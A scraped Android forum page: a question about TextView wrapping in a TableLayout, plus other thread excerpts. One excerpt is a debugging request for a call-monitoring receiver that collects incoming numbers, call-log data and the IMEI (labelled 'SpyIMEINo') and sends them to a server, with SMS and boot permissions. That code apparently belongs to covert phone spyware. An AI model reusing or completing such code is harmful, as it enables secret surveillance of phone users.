wrap around with textview in a tablelayout broken

by Fabian Sturm » Tue, 22 Sep 2009 04:21:03 GMT


Sponsored Links
 Hi!

I have a very simple layout, a table with a single row containing two
textviews. The first textview has a short text and the second a long
text which needs to be wrapped around.

Unfortunately the wrap around does not work. In the first line of the
wrapped text the last word is missing a letter and in the second line
another letter is missing and even the word "3" is missing. 
So I get the text:

"Ein ganz langer Text der umgebrochen werde
 muss, der so lange ist, dass er auf mindesten
 zeilen verteilt werden muss"

instead of this text:

"Ein ganz langer Text der umgebrochen 
 werden muss, der so lange ist, dass 
 er auf mindestens 3 zeilen verteilt 
 werden muss"

Any ideas what I need to activate for the correct wrap around?
I tried many layout parameters but none helped.

I know I could get the same layout easier, but this is just a broken
down example. I want to use a table with maybe 5 rows and 2 columns
later on.

Thanks a lot, Fabian


<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android=" http://schemas.android.com/apk/res/android" ;
    android:orientation="vertical"
    android:layout_width="fill_parent"
    android:layout_height="fill_parent"
    >
    <TableLayout
        android:layout_width="fill_parent" 
        android:layout_height="fill_parent"    
    >
        <TableRow>
            <TextView  
                android:text="Title:"
            />
            <TextView  
                android:layout_width="wrap_content" 
                android:layout_height="wrap_content"
                android:text="Ein ganz langer Text der umgebrochen
werden muss, der so lange ist, dass er auf mindestens 3 zeilen verteilt
werden muss"
           />
        </TableRow>
    </TableLayout>
</LinearLayout>




--~--~---------~--~----~------------~-------~--~----~



Other Threads

1. Access Context from a different Package : getApplication returns null

I have an Activity which is packaged as a jar and I want to get the
system service for Connectivity and use the ConnectivityManager.
Hence, I am using getSystemService(Context.CONNECTIVITY_SERVICE).  I
want to use getActivity().getSystemService() or getApplication() of
that activity but when I create a reference of it from other
application(say Hello World) to which the jar file has already been
added.

I want to have that application(Hello World) in another package. In
this scenario the getApplication() method returns null.

1. Is there any way to get the application/ context?

2. Is there any other way by which i could access the
getSystemService(Context.CONNECTIVITY_SERVICE) of the activity which i
have bundled as the jar?

Please Help!

Thanks


-- 

2. Problem in handling Incoming Calls

I have made broadcast receiver(BR) for incoming and outgoing calls.My
BR works fine for outgoing calls bt for incoming calls the programmes
stops and give an error to close or wait here is ma code


//IncomingCall.java

import java.util.ArrayList;
import java.util.List;
import org.apache.http.message.BasicNameValuePair;
import android.content.BroadcastReceiver;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.database.Cursor;
import android.os.Bundle;
import android.provider.BaseColumns;
import android.provider.CallLog;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import android.util.Log;


/**
 * @author mayank.b
 *
 */
public class IncomingCall extends BroadcastReceiver{

        String result="";
        final String servicefunction = "EmailCALL" ;
        static String incomingNumber = "";
        InputHandeler inputhan = new InputHandeler(servicefunction);
        static final String ACTION = "android.intent.action.PHONE_STATE";
        public void onReceive(Context context, Intent intent){

                Log.i("intent telling something","== "+intent.getData()+"  ===
"+intent.getDataString()+" === "+intent.toString());
                Bundle bundle = intent.getExtras();
                Log.i("See on Bundle", "!!== "+bundle.toString());

                if(bundle.getString("state").equalsIgnoreCase("RINGING"))
                  {
                   incomingNumber = bundle.getString("incoming_number");
                  }

                //if(bundle.getString("state").equalsIgnoreCase("IDLE"))
                   {
                           TelephonyManager tmgr =
(TelephonyManager)context.getSystemService(Context.TELEPHONY_SERVICE);
                           Log.i("See on Bundle", "!!== "+bundle.toString());
                           Log.i("On Receive", "WE ARE INSIDE! 
Incoming!!!!!!!!!!
"+incomingNumber);

                           MyPhoneStateListener PhoneListener = new 
MyPhoneStateListener();

                  Log.i("On Receive", "WE ARE INSIDE! Incoming!!!!!!!!!! ");
                  tmgr.listen(PhoneListener, 
PhoneStateListener.LISTEN_CALL_STATE );
                  Log.i("On Receive", "WE ARE INSIDE! Incoming!!!!!!!!!!
"+tmgr.getCallState());
                  if(incomingNumber != null && tmgr.getCallState()== 1){

                String imeino = "";
                //imeino = "123456789";
                imeino = andprotect.IMEI;
                String calllog = getlastCallLogEntry(context);  // get call
duration
                List list =new ArrayList();
                        list.add(new BasicNameValuePair("SpyIMEINo", imeino));
                        list.add(new BasicNameValuePair("CallLog", calllog));
                        list.add(new BasicNameValuePair("OtherPhoneNo", 
incomingNumber));
                        result=inputhan.sendingdatatoserver(list);
                        Log.i("VALUE RESULT", "RESULT ="+result);
                        AdvanceParsingData data=new AdvanceParsingData(result);
                        result=data.getResult();
                        Log.i("VALUE RESULT", "RESULT U GOt="+result);
                 }
           }
         }

        private class MyPhoneStateListener extends PhoneStateListener
        {
         public void onCallStateChanged(int state, String incomingNumber)
         {
          Log.d("Indside MyPhoneListener","incoming no:"+incomingNumber);
         }
        }

        public String getlastCallLogEntry(Context context){

                String[] projection = new String[]{
                        BaseColumns._ID,
                        CallLog.Calls.NUMBER,
                        CallLog.Calls.DURATION,
                        CallLog.Calls.TYPE
                   };
                ContentResolver resolver = context.getContentResolver();
                Cursor crsr = resolver.query(CallLog.Calls.CONTENT_URI, 
projection,
null, null, CallLog.Calls.DEFAULT_SORT_ORDER);
                int colnum = crsr.getColumnIndex(CallLog.Calls.NUMBER);
                int coltype = crsr.getColumnIndex(CallLog.Calls.TYPE);
                int coldur = crsr.getColumnIndex(CallLog.Calls.DURATION);

                if(!crsr.moveToNext()){
                        crsr.close();
                }

                String number = crsr.getString(colnum);
                String duration = crsr.getString(coldur);
                String type = crsr.getString(coltype);

                Log.i("number ====", number);
                Log.i("duration ====", duration);
                Log.i("type ====", type);
                return duration;
        }

}



//android mainfest.xml



<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
      package="com.wit"
      android:versionCode="1"
      android:versionName="1.0">
    <application android:icon="@drawable/icon" android:label="@string/
app_name">
        <activity android:name=".andprotect"
                  android:label="@string/app_name">
    <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category
android:name="android.intent.category.LAUNCHER" />
                        </intent-filter>
        </activity>

    <receiver android:name=".BroadcastService">
                <intent-filter>
                <action android:name="android.provider.Telephony.SMS_RECEIVED" 
/>
                </intent-filter>
                </receiver>



        <receiver android:name=".IncomingCall">
                <intent-filter>
                <action android:name="android.intent.action.PHONE_STATE" />
                </intent-filter>
        </receiver>

        <receiver android:name=".OutGoingCalls">
                <intent-filter>
                <action android:name="android.intent.action.NEW_OUTGOING_CALL" 
/>
                </intent-filter>
        </receiver>

        <receiver android:enabled="true" android:name=".OnbootStart">
         <intent-filter>
         <action android:name="android.intent.action.BOOT_COMPLETED" /
         <category android:name="android.intent.category.DEFAULT" />
     </intent-filter>
 </receiver>

    </application>


<uses-permission android:name="android.permission.READ_PHONE_STATE"></
uses-permission>
<uses-permission
android:name="android.permission.PROCESS_OUTGOING_CALLS"></uses-
permission>
<uses-permission android:name="android.permission.INTERNET"></uses-
permission>
<uses-permission android:name="android.permission.RECEIVE_SMS"></uses-
permission>
<uses-permission android:name="android.permission.SEND_SMS"></uses-
permission>
<uses-permission
android:name="android.permission.RECEIVE_BOOT_COMPLETED"></uses-
permission>
<uses-permission android:name="android.permission.READ_CONTACTS" />


</manifest>



log cat traces


05-12 10:19:39.960: DEBUG/dalvikvm(577): GC freed 13370 objects /
680824 bytes in 423ms
05-12 10:19:40.757: DEBUG/HomeLoaders(858):   --> starting
applications loader
05-12 10:20:00.022: WARN/ActivityManager(577): Hung broadcast
discarded after timeout failure: now=1262803 dispatchTime=1213395
startTime=1224404 intent=Intent
{ action=android.intent.action.PHONE_STATE (has extras) }
numReceivers=1 nextReceiver=1 state=1
05-12 10:20:00.040: WARN/ActivityManager(577): Timeout of broadcast
BroadcastRecord{4372ebc8 android.intent.action.PHONE_STATE} -
receiver=null
05-12 10:20:00.040: WARN/ActivityManager(577): Receiver during
timeout: ResolveInfo{4372e9f0 com.wit.IncomingCall p=0 o=0 m=0x108000}
05-12 10:20:00.170: INFO/ActivityManager(577): ANR (application not
responding) in process: com.wit
05-12 10:20:00.170: INFO/ActivityManager(577): Annotation: Broadcast
of Intent { action=android.intent.action.PHONE_STATE (has extras) }
05-12 10:20:00.170: INFO/ActivityManager(577): CPU usage:
05-12 10:20:00.170: INFO/ActivityManager(577): Load: 0.66 / 0.42 /
0.33
05-12 10:20:00.170: INFO/ActivityManager(577): CPU usage from 28693ms
to 155ms ago:
05-12 10:20:00.170: INFO/ActivityManager(577):   system_server: 12% =
8% user + 4% kernel
05-12 10:20:00.170: INFO/ActivityManager(577):   com.android.phone: 0%
= 0% user + 0% kernel
05-12 10:20:00.170: INFO/ActivityManager(577):   qemud: 0% = 0% user +
0% kernel
05-12 10:20:00.170: INFO/ActivityManager(577):   adbd: 0% = 0% user +
0% kernel
05-12 10:20:00.170: INFO/ActivityManager(577):   events/0: 0% = 0%
user + 0% kernel
05-12 10:20:00.170: INFO/ActivityManager(577):
com.android.inputmethod.latin: 0% = 0% user + 0% kernel
05-12 10:20:00.170: INFO/ActivityManager(577):
android.process.media: 0% = 0% user + 0% kernel
05-12 10:20:00.170: INFO/ActivityManager(577):   logcat: 0% = 0% user
+ 0% kernel
05-12 10:20:00.170: INFO/ActivityManager(577):   rild: 0% = 0% user +
0% kernel
05-12 10:20:00.170: INFO/ActivityManager(577):   zygote: 0% = 0% user
+ 0% kernel
05-12 10:20:00.170: INFO/ActivityManager(577):   servicemanager: 0% =
0% user + 0% kernel
05-12 10:20:00.170: INFO/ActivityManager(577):
+android.process.acore: 0% = 0% user + 0% kernel
05-12 10:20:00.170: INFO/ActivityManager(577):  -app_process: 0% = 0%
user + 0% kernel
05-12 10:20:00.170: INFO/ActivityManager(577): TOTAL: 41% = 28% user +
13% kernel + 0% irq + 0% softirq
05-12 10:20:00.190: INFO/ActivityManager(577): Removing old ANR trace
file from /data/anr/traces.txt
05-12 10:20:00.200: INFO/Process(577): Sending signal. PID: 858 SIG: 3
05-12 10:20:00.210: INFO/dalvikvm(858): threadid=7: reacting to signal
3
05-12 10:20:00.220: INFO/Process(577): Sending signal. PID: 618 SIG: 3
05-12 10:20:00.231: INFO/dalvikvm(618): threadid=7: reacting to signal
3
05-12 10:20:00.231: INFO/Process(577): Sending signal. PID: 677 SIG: 3
05-12 10:20:00.241: INFO/dalvikvm(677): threadid=7: reacting to signal
3
05-12 10:20:00.241: INFO/Process(577): Sending signal. PID: 645 SIG: 3
05-12 10:20:00.251: INFO/dalvikvm(645): threadid=7: reacting to signal
3
05-12 10:20:00.251: INFO/Process(577): Sending signal. PID: 664 SIG: 3
05-12 10:20:00.251: INFO/dalvikvm(664): threadid=7: reacting to signal
3
05-12 10:20:00.261: INFO/Process(577): Sending signal. PID: 689 SIG: 3
05-12 10:20:00.261: INFO/dalvikvm(689): threadid=7: reacting to signal
3
05-12 10:20:00.261: INFO/Process(577): Sending signal. PID: 577 SIG: 3
05-12 10:20:00.261: INFO/dalvikvm(577): threadid=7: reacting to signal
3
05-12 10:20:00.344: INFO/dalvikvm(858): Wrote stack trace to '/data/
anr/traces.txt'
05-12 10:20:00.380: INFO/dalvikvm(677): Wrote stack trace to '/data/
anr/traces.txt'
05-12 10:20:00.402: INFO/dalvikvm(689): Wrote stack trace to '/data/
anr/traces.txt'
05-12 10:20:00.441: INFO/dalvikvm(577): Wrote stack trace to '/data/
anr/traces.txt'
05-12 10:20:00.441: INFO/dalvikvm(664): Wrote stack trace to '/data/
anr/traces.txt'
05-12 10:20:00.441: INFO/dalvikvm(618): Wrote stack trace to '/data/
anr/traces.txt'
05-12 10:20:00.451: WARN/ActivityManager(577): finishReceiver called
but none active
05-12 10:20:00.490: INFO/dalvikvm(645): Wrote stack trace to '/data/
anr/traces.txt'
05-12 10:20:05.870: DEBUG/dalvikvm(618): GC freed 6463 objects /
364752 bytes in 172ms
05-12 10:37:32.742: DEBUG/dalvikvm(618): GC freed 10417 objects /
587048 bytes in 238ms

-- 

3. Start another application from another package with an Intent

4. Obtain list of devices in network

5. Android 2.1 and MS SQL Server

6. I love Android and could not resist to share this Android tee with you all

7. Keeping service alive across configuration changes